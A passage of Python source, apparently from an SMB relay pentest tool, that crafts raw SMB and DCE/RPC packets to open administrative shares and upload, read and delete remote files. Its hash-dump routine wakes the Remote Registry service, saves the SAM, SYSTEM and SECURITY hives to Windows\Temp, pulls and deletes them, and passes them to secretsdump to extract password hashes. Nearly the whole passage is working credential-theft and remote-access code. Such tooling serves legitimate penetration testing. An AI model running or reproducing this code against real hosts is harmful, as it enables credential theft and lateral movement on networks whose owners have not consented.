head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
t = SMBTreeConnectData(Path="\\\\"+Host+"\\"+Share+"$")
|
|
t.calculate()
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
##OpenAndX.
|
|
if data[8:10] == b"\x75\x00":
|
|
head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x11\x00")
|
|
t = OpenAndX(File=Filename, OpenFunc="\x01\x00", Flags="\x07\x00", DesiredAccess=Access)
|
|
t.calculate()
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
if data[8:10] == b"\x2d\x22":
|
|
print("[+] Can't open the file, access is denied (write protected file?).")
|
|
f = "A" #Don't throw an exception at the calling function because there's not enough value to unpack.
|
|
#We'll recover that connection..
|
|
return data, s, f
|
|
|
|
if data[8:10] == b"\x2d\x43":
|
|
print("[+] Sharing violation, waiting a bit and attempting again.")
|
|
time.sleep(2)
|
|
head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x11\x00")
|
|
t = OpenAndX(File=Filename, OpenFunc="\x01\x00",DesiredAccess=Access)
|
|
t.calculate()
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
if data[8:10] == b"\x2d\x00":##Found all good.
|
|
f = data[41:43]
|
|
return data, s, f
|
|
|
|
if data[8:10] == b"\x2d\x34":#not found
|
|
time.sleep(2)#maybe still processing the cmd. Be patient, then grab it again.
|
|
head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x11\x00")
|
|
t = OpenAndX(File=Filename, OpenFunc="\x01\x00")
|
|
t.calculate()
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
##OpenAndX.
|
|
if data[8:10] == b"\x2d\x34":
|
|
print("[+] The command failed or took to long to complete.")
|
|
return data, s
|
|
|
|
##all good.
|
|
if data[8:10] == b"\x2d\x00":
|
|
f = data[41:43]
|
|
return data, s, f
|
|
|
|
###########################
|
|
#Open a file for writing
|
|
###########################
|
|
|
|
def SMBOpenFileForWriting(Filename, FileSize, FileContent, Share, Host, Access, data, s):
|
|
if isinstance(data, str):
|
|
data = data.encode('latin-1')
|
|
##Start with a Tree connect on C$
|
|
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
t = SMBTreeConnectData(Path="\\\\"+Host+"\\"+Share+"$")
|
|
t.calculate()
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
##NtCreate.
|
|
if data[8:10] == b"\x75\x00":
|
|
head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x11\x00")
|
|
t = SMBNTCreateData(FileName="Windows\\Temp\\"+Filename, CreateFlags="\x00\x00\x00\x00", AccessMask="\x96\x01\x03\x00",FileAttrib="\x20\x00\x00\x00", ShareAccess="\x00\x00\x00\x00", Disposition = "\x02\x00\x00\x00", CreateOptions="\x44\x00\x00\x00")
|
|
t.calculate()
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
if data[8:10] == b"\xa2\x22":
|
|
print("[+] Can't open the file, access is denied (write protected file?).")
|
|
f = "A" #Don't throw an exception at the calling function because there's not enough value to unpack.
|
|
#We'll recover that connection..
|
|
return data, s, f
|
|
|
|
if data[8:10] == b"\xa2\x35":
|
|
print("[+] Name collision, this file already exist in windows/temp/. Try: delete /windows/Temp/"+Filename)
|
|
f = "A" #Don't throw an exception at the calling function because there's not enough value to unpack.
|
|
#We'll recover that connection..
|
|
return data, s, f
|
|
|
|
if data[8:10] == b"\xa2\x00":##Found, all good.
|
|
f = data[42:44]
|
|
return data, s, f
|
|
|
|
##OpenAndX.
|
|
if data[8:10] == b"\xa2\x34":
|
|
print("[+] The command failed or took to long to complete.")
|
|
return data, s
|
|
|
|
##all good.
|
|
if data[8:10] == b"\xa2\x00":
|
|
f = data[41:43]
|
|
return data, s, f
|
|
###########################
|
|
#Open an IPC$ channel.
|
|
###########################
|
|
|
|
def SMBOpenPipe(Host, data, s):
|
|
if isinstance(data, str):
|
|
data = data.encode('latin-1')
|
|
else:
|
|
pass
|
|
##Start with a Tree connect on IPC$
|
|
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
t = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$")
|
|
t.calculate()
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
return data, s
|
|
|
|
###########################
|
|
#Close a TID
|
|
###########################
|
|
|
|
def CloseTID(data, s):
|
|
##Start with a Tree connect on IPC$
|
|
head = SMBHeader(cmd="\x71",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
t = SMBTreeDisconnect()
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
return data, s
|
|
|
|
###########################
|
|
#Read then delete it.
|
|
###########################
|
|
def GrabAndRead(f, Filename, data, s):
|
|
##ReadRequest.
|
|
if data[8:10] == b"\x2d\x00":
|
|
##grab the filesize from the OpenAndX response.
|
|
filesize = struct.unpack("<i", data[49:53])[0]
|
|
head = SMBHeader(cmd="\x2e",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x12\x00")
|
|
t = ReadRequestAndX(FID=f.decode('latin-1'))
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
start_time = time.time()
|
|
s, data = SMBReadRecv(s)
|
|
##Get output from smbread.
|
|
Output = ExtractCommandOutput(data).decode('latin-1')
|
|
data = data.encode('latin-1')
|
|
##Do large reads..
|
|
if data[8:10] == b"\x2e\x00" and struct.unpack("<H", data[61:63])[0] == 65520:
|
|
print('File size: %s'%(GetReadableSize(filesize)))
|
|
#Do progress bar for large download, so the pentester doesn't fall asleep while doing a large SMB read operation..
|
|
#if we're here it's because filesize > 65520.
|
|
first = filesize-65520
|
|
if first <= 65520:
|
|
count_number = 1
|
|
else:
|
|
count_number = int(first/65520)+1
|
|
count = 0
|
|
dataoffset = 0
|
|
bar = 80
|
|
for i in range(count_number):
|
|
count = count+1
|
|
alreadydone = int(round(80 * count / float(count_number)))
|
|
pourcent = round(100.0 * count / float(count_number), 1)
|
|
progress = '=' * alreadydone + '-' * (80 - alreadydone)
|
|
sys.stdout.write('[%s] %s%s\r' % (progress, pourcent, '%'))
|
|
sys.stdout.flush()
|
|
dataoffset = dataoffset + 65520
|
|
data, s, out = ReadOutput(StructWithLenPython2or3("<i", dataoffset), f, data, s)
|
|
Output += out.decode('latin-1')
|
|
sys.stdout.write('\n')
|
|
sys.stdout.flush()
|
|
Seconds = (time.time() - start_time) - READTIMEOUT
|
|
if Seconds>60:
|
|
minutes = Seconds/60
|
|
print('Downloaded in: %.3g minutes.'%(minutes))
|
|
if Seconds<60:
|
|
print('Downloaded in: %.3g seconds'%(Seconds))
|
|
if isinstance(data, str):
|
|
data = data.encode('latin-1')
|
|
|
|
##Close Request
|
|
if data[8:10] == b"\x2e\x00":
|
|
head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x11\x00")
|
|
t = CloseRequest(FID = f.decode('latin-1'))
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
return data, s, Output
|
|
|
|
###########################
|
|
#Write it.
|
|
###########################
|
|
def UploadAndWrite(f, FileSize, FileContent, data, s):
|
|
##WriteRequest for a small file.
|
|
if data[8:10] == b"\xa2\x00" and int(FileSize) <= 29999:
|
|
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x00\x10",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x12\x00")
|
|
t = SMBWriteData(FID=f.decode('latin-1'), Data=FileContent)
|
|
t.calculate()
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
##WriteRequest for a big file.
|
|
if data[8:10] == b"\xa2\x00" and int(FileSize) >= 30000:
|
|
##How many requests?
|
|
count_number = int(FileSize/30000)+1
|
|
#Do progress bar for large uploads, so the pentester doesn't fall asleep while doing a large SMB write operations..
|
|
dataoffset = 0
|
|
count = 0
|
|
bar = 80
|
|
start_time = time.time()
|
|
print('File size: %s'%(GetReadableSize(FileSize)))
|
|
for i in range(count_number):
|
|
count = count+1
|
|
Chunk = FileContent[dataoffset:dataoffset+30000]
|
|
alreadydone = int(round(80 * count / float(count_number)))
|
|
pourcent = round(100.0 * count / float(count_number), 1)
|
|
progress = '=' * alreadydone + '-' * (80 - alreadydone)
|
|
sys.stdout.write('[%s] %s%s\r' % (progress, pourcent, '%'))
|
|
sys.stdout.flush()
|
|
|
|
if len(Chunk) == 0:
|
|
pass
|
|
else:
|
|
data, s = WriteOutput(StructWithLenPython2or3("<I",dataoffset), Chunk, data, f, s)
|
|
dataoffset = dataoffset + 30000
|
|
sys.stdout.write('\n')
|
|
sys.stdout.flush()
|
|
Seconds = (time.time() - start_time) - READTIMEOUT
|
|
if Seconds>60:
|
|
minutes = Seconds/60
|
|
print('Uploaded in: %.3g minutes.'%(minutes))
|
|
if Seconds<60:
|
|
print('Uploaded in: %.3g seconds'%(Seconds))
|
|
|
|
##Close Request
|
|
if data[8:10] == b"\x2f\x00":
|
|
head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x11\x00")
|
|
t = CloseRequest(FID = f.decode('latin-1'))
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
return data, s
|
|
|
|
###########################
|
|
#Read then delete it.
|
|
###########################
|
|
def ReadAndDelete(f, Filename, data, s):
|
|
##ReadRequest.
|
|
if data[8:10] == b"\x2d\x00":
|
|
filesize = struct.unpack("<i", data[49:53])[0]
|
|
head = SMBHeader(cmd="\x2e",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x12\x00")
|
|
t = ReadRequestAndX(FID=f.decode('latin-1'))
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
start_time = time.time()
|
|
s, data = SMBReadRecv(s)
|
|
##Get output from smbread.
|
|
Output = ExtractCommandOutput(data).decode('latin-1')
|
|
data = data.encode('latin-1')
|
|
##Do large reads..
|
|
if data[8:10] == b"\x2e\x00" and struct.unpack("<H", data[61:63])[0] == 65520:
|
|
print('File size: %s'%(GetReadableSize(filesize)))
|
|
#Do progress bar for large download, so the pentester doesn't fall asleep while doing a large SMB read operation..
|
|
#if we're here it's because filesize > 65520.
|
|
first = filesize-65520
|
|
if first <= 65520:
|
|
count_number = 1
|
|
else:
|
|
count_number = int(first/65520)+1
|
|
count = 0
|
|
dataoffset = 0
|
|
bar = 80
|
|
for i in range(count_number):
|
|
count = count+1
|
|
alreadydone = int(round(80 * count / float(count_number)))
|
|
pourcent = round(100.0 * count / float(count_number), 1)
|
|
progress = '=' * alreadydone + '-' * (80 - alreadydone)
|
|
sys.stdout.write('[%s] %s%s\r' % (progress, pourcent, '%'))
|
|
sys.stdout.flush()
|
|
dataoffset = dataoffset + 65520
|
|
data, s, out = ReadOutput(StructWithLenPython2or3("<i", dataoffset), f, data, s)
|
|
Output += out.decode('latin-1')
|
|
sys.stdout.write('\n')
|
|
sys.stdout.flush()
|
|
Seconds = (time.time() - start_time) - READTIMEOUT
|
|
if Seconds>60:
|
|
minutes = Seconds/60
|
|
print('Downloaded in: %.3g minutes.\n'%(minutes))
|
|
if Seconds<60:
|
|
print('Downloaded in: %.3g seconds'%(Seconds))
|
|
if isinstance(data, str):
|
|
data = data.encode('latin-1')
|
|
|
|
|
|
##Close Request
|
|
if data[8:10] == b"\x2e\x00":
|
|
head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x11\x00")
|
|
t = CloseRequest(FID = f.decode('latin-1'))
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
##DeleteFileRequest.
|
|
if data[8:10] == b"\x04\x00":
|
|
head = SMBHeader(cmd="\x06",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x13\x00")
|
|
t = DeleteFileRequest(File=Filename)
|
|
t.calculate()
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
if data[8:10] == b"\x06\x00":
|
|
head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x11\x00")
|
|
t = OpenAndX(File=Filename, OpenFunc="\x01\x00")
|
|
t.calculate()
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
return data, s, Output
|
|
|
|
def DeleteAFile(Filename, data, s, Host):
|
|
##Start with a Tree connect on C$
|
|
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
t = SMBTreeConnectData(Path="\\\\"+Host+"\\C$")
|
|
t.calculate()
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
##DeleteFileRequest.
|
|
if data[8:10] == b"\x75\x00":
|
|
head = SMBHeader(cmd="\x06",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x13\x00")
|
|
t = DeleteFileRequest(File=Filename)
|
|
t.calculate()
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
if data[8:10] == b"\x06\x21":
|
|
time.sleep(1)
|
|
head = SMBHeader(cmd="\x06",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x13\x00")
|
|
t = DeleteFileRequest(File=Filename)
|
|
t.calculate()
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
if data[8:10] == b"\x06\x21":
|
|
print("[+] Delete Failed. Server ("+Host+") returned STATUS_CANNOT_DELETE, "+Filename+" is currently in use by another process.")
|
|
print("[+] Try taskkill /F /IM process_name, then delete the file.")
|
|
return data, s
|
|
|
|
if data[8:10] == b"\x06\x34":
|
|
print("[+] Delete Failed. File not found.")
|
|
return data, s
|
|
|
|
if data[8:10] == b"\x06\x00":
|
|
head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x11\x00")
|
|
t = OpenAndX(File=Filename, OpenFunc="\x01\x00")
|
|
t.calculate()
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
return data, s
|
|
|
|
def GrabKeyValue(s, f, handler, data, keypath):
|
|
## DCE/RPC OpenKey.
|
|
if data[8:10] == b"\x25\x00":
|
|
ContextHandler = handler
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x09\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCEWinRegOpenKey(ContextHandle=ContextHandler,Key=keypath)
|
|
w.calculate()
|
|
x = SMBDCEPacketData(Opnum="\x0f\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
## DCE/RPC Query Info.
|
|
if data[8:10] == b"\x25\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to read the key\n")
|
|
return ModifySMBRetCode(data)
|
|
ContextHandler = data[84:104].decode('latin-1')
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCEWinRegQueryInfoKey(ContextHandle=ContextHandler)
|
|
x = SMBDCEPacketData(Opnum="\x10\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
Value = data[104:120].decode('utf-16le')
|
|
|
|
## DCE/RPC CloseKey.
|
|
if data[8:10] == b"\x25\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to close the key\n")
|
|
return ModifySMBRetCode(data)
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCEWinRegCloseKey(ContextHandle=ContextHandler)
|
|
x = SMBDCEPacketData(Opnum="\x05\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
return Value, data
|
|
|
|
def SaveKeyToFile(Filename, Key, handler, f, data, s):
|
|
## DCE/RPC WinReg Create Key.
|
|
if data[8:10] == b"\x25\x00":
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCEWinRegCreateKey(ContextHandle=handler, KeyName = Key)
|
|
w.calculate()
|
|
x = SMBDCEPacketData(Opnum="\x06\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
## DCE/RPC WinReg Save Key.
|
|
if data[8:10] == b"\x25\x00":
|
|
ContextHandler = data[84:104].decode('latin-1')
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCEWinRegSaveKey(ContextHandle=ContextHandler, File=Filename)
|
|
w.calculate()
|
|
x = SMBDCEPacketData(Opnum="\x14\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
return data, s, f
|
|
|
|
|
|
def OpenHKLM(data, s, f):
|
|
## DCE/RPC WinReg OpenHKLM.
|
|
if data[8:10] == b"\x2e\x00":
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCEWinRegOpenHKLMKey()
|
|
x = SMBDCEPacketData(Opnum="\x02\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
handler = data[84:104].decode('latin-1')
|
|
return data, s, handler, f
|
|
|
|
|
|
def OpenHKCU(data, s, f):
|
|
## DCE/RPC WinReg OpenHKCU.
|
|
if data[8:10] == b"\x2e\x00":
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCEWinRegOpenHKCUKey()
|
|
x = SMBDCEPacketData(Opnum="\x04\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
handler = data[84:104].decode('latin-1')
|
|
return data, s, handler, f
|
|
|
|
def ConvertValuesToBootKey(JDSkew1GBGData):
|
|
JDSkew1GBGData = JDSkew1GBGData.decode('latin-1')
|
|
Key = ""
|
|
Xored = [0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7]
|
|
for i in range(len(JDSkew1GBGData)):
|
|
Key += JDSkew1GBGData[Xored[i]]
|
|
print('BootKey: %s' % codecs.encode(Key.encode('latin-1'), 'hex').decode('latin-1'))
|
|
return Key
|
|
|
|
##########Dump Hashes#############
|
|
def DumpHashes(data, s, Host):
|
|
|
|
try:
|
|
SaveAKey(data, s, Host, "SAM")
|
|
time.sleep(0.5)
|
|
SaveAKey(data, s, Host, "SYSTEM")
|
|
time.sleep(0.5)
|
|
SaveAKey(data, s, Host, "SECURITY")
|
|
time.sleep(0.5)
|
|
#Let's call secretsdump.py
|
|
print("[+] Calling SecretsDump\n")
|
|
Hashes = DumpSecrets(None, None, None, None)
|
|
Results = Hashes.dump(sam=SaveSam_Path+"./"+Host+"-SAM.tmp", security=SaveSam_Path+"./"+Host+"-SECURITY.tmp", system=SaveSam_Path+"./"+Host+"-SYSTEM.tmp", outfile=SaveSam_Path+"./"+Host)
|
|
|
|
print("[+] The hashes in ./relay-dumps/Hash-Dumped-"+Host+".txt")
|
|
return data
|
|
|
|
except:
|
|
#Don't loose this connection because something went wrong, it's a good one. Hashdump might fail, while command works.
|
|
return ModifySMBRetCode(data)
|
|
|
|
##########Save An HKLM Key And Its Subkeys#############
|
|
def SaveAKey(data, s, Host, Key):
|
|
|
|
try:
|
|
stopped = False
|
|
data,s,f = BindCall("\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03", "\x01\x00", "\\winreg", data, s)
|
|
|
|
if f == "PipeNotAvailable":
|
|
print("The Windows Remote Registry Service is sleeping, waking it up...")
|
|
time.sleep(3)
|
|
data,s,f = BindCall("\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03", "\x01\x00", "\\winreg", data, s)
|
|
|
|
if f == "PipeNotAvailable":
|
|
print("Retrying...")
|
|
time.sleep(5)
|
|
data,s,f = BindCall("\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03", "\x01\x00", "\\winreg", data, s)
|
|
|
|
if f == "ServiceNotFound":
|
|
stopped = True
|
|
data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s)
|
|
print("Starting Windows Remote Registry...")
|
|
data,s,f = StartWinregService(f, Host, data, s)
|
|
data,s = CloseFID(f, data,s)
|
|
#We should be all good here.
|
|
data,s,f = BindCall("\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03", "\x01\x00", "\\winreg", data, s)
|
|
|
|
##Error handling.
|
|
if data[8:10] == b"\x25\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to open Winreg HKLM, is that user a local admin on this host?\n")
|
|
return ModifySMBRetCode(data)
|
|
|
|
data,s,handler,f = OpenHKLM(data,s,f)
|
|
|
|
data,s,f = SaveKeyToFile("C:\\Windows\\Temp\\"+Key+".tmp", Key, handler, f, data, s)
|
|
if data[8:10] != b"\x25\x00":
|
|
print("[+] Something went wrong, try something else.")
|
|
return ModifySMBRetCode(data)
|
|
data,s = CloseFID(f, data, s)
|
|
data,s,f = SMBOpenFile("\\Windows\\Temp\\"+Key+".tmp", "C", Host, RW, data, s)
|
|
data,s,Output = ReadAndDelete(f, "\\Windows\\Temp\\"+Key+".tmp", data, s)
|
|
|
|
#If the service was stopped before we came...
|
|
if stopped:
|
|
data,s = SMBOpenPipe(Host, data, s)#Get a new IPC$ TID.
|
|
data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s)
|
|
data,s,f = StopWinregService(f, Host, data, s)
|
|
data,s = CloseFID(f, data,s)
|
|
data = ModifySMBRetCode(data)
|
|
|
|
#After everything has been cleaned up, we write the output to a file.
|
|
WriteOutputToFile(Output, Host+"-"+Key+".tmp")
|
|
print("[+] The "+Key+" key and its subkeys were saved in: ./relay-dumps/"+Host+"-"+Key+".tmp")
|
|
return data
|
|
|
|
except:
|
|
#Don't loose this connection because something went wrong, it's a good one. Hashdump might fail, while command works.
|
|
print("[+] Something went wrong, try something else.")
|
|
return ModifySMBRetCode(data)
|
|
|
|
##########ReadAFile#############
|
|
def ReadFile(data, s, File, Host):
|
|
try:
|
|
File = File.replace("/","\\")
|
|
data,s,f = SMBOpenFile(File, "C", Host, READ, data, s)
|
|
data,s,Output = GrabAndRead(f, File, data, s)
|
|
print(Output)
|
|
return ModifySMBRetCode(data) ##Command was successful, ret true.
|
|
|
|
except:
|
|
print("[+] Read failed. Remote filename was typed correctly?")
|
|
return ModifySMBRetCode(data) ##Don't ditch the connection because something went wrong.
|
|
|
|
def GetAfFile(data, s, File, Host):
|
|
try:
|
|
File = File.replace("/","\\")
|
|
data,s,f = SMBOpenFile(File, "C", Host, READ, data, s)
|
|
data,s,Output = GrabAndRead(f, File, data, s)
|
|
WriteOutputToFile(Output, Host+"-"+File)
|
|
print("[+] Done.")
|
|
return ModifySMBRetCode(data) ##Command was successful, ret true.
|
|
|
|
except:
|
|
